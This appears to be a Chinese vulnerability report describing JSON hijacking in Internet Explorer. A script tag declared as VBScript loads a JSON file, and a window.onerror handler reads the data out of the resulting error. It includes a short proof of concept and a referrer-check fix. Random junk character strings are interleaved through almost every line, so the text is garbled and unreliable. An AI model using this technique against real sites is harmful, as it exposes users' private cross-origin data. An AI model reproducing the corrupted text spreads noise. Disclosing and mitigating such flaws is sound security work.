简要描述:. @7 j& N, r% x
( e, H% u2 n0 _* h' U由于某些资源容器对数据处理不当导致json劫持漏洞.
+ c1 P I$ D. h4 B, Q8 [9 s( i详细说明:: a- r' h5 S, l
由于ie支持vbscript,所以script元素可以指定成vbscript语言:! R9 ~ E4 E# W% ^4 t
<script language=vbscript></script>( x0 o: a# z9 F3 I, S& a o
/ M! o" o9 l. I% I' ]1 }: O- H当但我们指定的是一个js格式的文件是将会发现一个异常,这使我们通过捕获这个异常的信息来获得部分json数据.: a1 Q# A# Z; u
漏洞证明:, o; V# A1 o# Q* }+ ]$ M
<script>
2 D. N5 e$ }/ M Z; L& {1 ywindow.onerror=function(_){
5 E* b5 E$ q( \. T% Walert(_)
" u' S& D7 `( F7 I0 M}
, W+ v3 {$ @% S4 y; R+ S; C</script>
% v( c2 C; v V; L/ V' k<script language=vbscript src=1.json></script>9 o& Q Y4 M' k5 o/ v
, e d& {. D8 C( T8 e2 b ( p/ Y0 M& q; v( S8 H. b
1.json:$ i1 d" r# j6 s* j+ H! M
[{"name":"sogili","age":19}]
0 T5 J. a4 x* W; P* u7 {修复方案:1 g( G- z L9 }- j, q/ l- W
网站业务对于这个问题可以通过验证referrer是否为同源来防御 |